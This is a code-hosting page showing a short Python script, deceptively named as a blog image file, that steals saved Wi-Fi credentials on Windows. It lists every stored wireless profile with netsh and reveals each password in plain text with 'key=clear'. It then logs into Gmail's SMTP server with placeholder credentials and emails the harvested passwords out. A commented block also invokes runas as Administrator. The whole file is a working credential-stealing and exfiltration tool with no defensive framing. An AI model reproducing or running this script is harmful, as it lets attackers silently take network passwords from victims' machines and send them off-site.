-
Notifications
You must be signed in to change notification settings - Fork 0
/
blogimage_1617862443149.py
46 lines (39 loc) · 1.48 KB
/
blogimage_1617862443149.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import subprocess , smtplib, re
command1="netsh wlan show profile"
child = subprocess.Popen(command1, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
retValRunJobsSerialScript = 0
outputString=""
for line in child.stdout.readlines():
child.wait()
outputString+=line.decode('utf-8')
retValRunJobsSerialScript= child.returncode
print(outputString)
''''
prog = subprocess.Popen(['runas', '/noprofile', '/user:Administrator', 'NeedsAdminPrivilege.exe'],stdin=subprocess.PIPE)
prog.communicate()
networks=subprocess.check_output(command1,shell=True)
print(networks.decode("utf-8"))
network_str=networks.decode("utf-8")
'''
network_list=re.findall('(?:Profile\s*:\s)(.*)' ,outputString)
print(network_list)
final_output=""
for network in network_list:
command2="netsh wlan show profile" +" "+ f'"{network}"'+" "+"key=clear"
print(command2)
child = subprocess.Popen(command2, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
retValRunJobsSerialScript= 0
outputString=""
for line in child.stdout.readlines():
child.wait()
outputString+=line.decode('utf-8')
retValRunJobsSerialScript= child.returncode
print(outputString)
final_output+=outputString
server=smtplib.SMTP("smtp.gmail.com",587)
server.starttls()
email="your_email"
password="your_password and set gmail less secure"
server.login(email,password)
server.sendmail(email,email,final_output)
server.quit()